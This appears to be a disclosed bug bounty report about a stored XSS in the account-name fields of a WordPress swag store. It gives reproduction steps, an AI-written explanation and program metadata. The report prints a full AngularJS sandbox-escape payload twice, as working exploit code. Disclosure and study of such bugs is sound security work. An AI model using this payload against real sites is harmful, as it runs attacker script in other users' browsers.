Stored but [SELF] XSS in mercantile.wordpress.org
The account details page of a WordPress swag store accepted AngularJS template expressions in the first and last name fields, and these were stored and later rendered. An attacker could inject a payload that bypassed the AngularJS sandbox and executed script in the victim's browser, showing the domain in an alert.
- Triaged in 25 hours
- Fixed in 7 days
- Paid in 3 months
- Disclosed after 37 days
Summary by the program
Steps to Reproduce
- Open Chrome and go to mercantile.wordpress.org, sign up for an account
- Browse to
/my-account/edit-account/ - Paste the payload below into the fields and save
- Refresh the browser and the XSS will trigger an alert with the domain in it.
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,prompt(document.domain)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}
Summary by the researcher
Stored XSS in their swag store using angular JS sanbox bypass, a big thanks to Portswigger blog
The report
Hi Wordpress and to Iandunn
This was what I am talking about lately so I will go up straight on how to reproduce it.
###Steps to Reproduce
- Go to mercantile.wordpress.org //make sure to have an account for this test :D
- Hover on Account Details
/my-account/edit-account/ - In
First NameandLast Namecopy and paste this payload:
{{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,$location.path('http://example.com/)))+'; astNode.argument={type:'Identifier',name:'foo'}; "); m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a; }} after that save it
4. After saving it refresh the browser and the xss will trigger with the domain in it.
Upon registration of accounts it restricts symbols for the fields in First Name and Last Name but after being registered we can easily edit it here to inject some good payloads
Kind Regards, Tom
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application rendered user-controlled name fields through AngularJS template evaluation without sanitising them, allowing a sandbox-escape expression to execute.
Impact
An attacker with an account could store script that runs in the browser when the affected account page is refreshed, though the report only demonstrates an alert showing the domain.
What the attacker needed
An account on the store; the affected account page is refreshed
How it was found
- Open the store site and sign up for an account.
- Go to the account details edit page.
- Enter the crafted expression into the first and last name fields and save.
- Refresh the browser and the script runs, showing the domain.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A stored XSS bug means saved text is later rendered as part of the page. Here the site used AngularJS, which evaluates template expressions, and it did not treat the saved name as plain text, so a crafted name ran as code when the page was refreshed.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.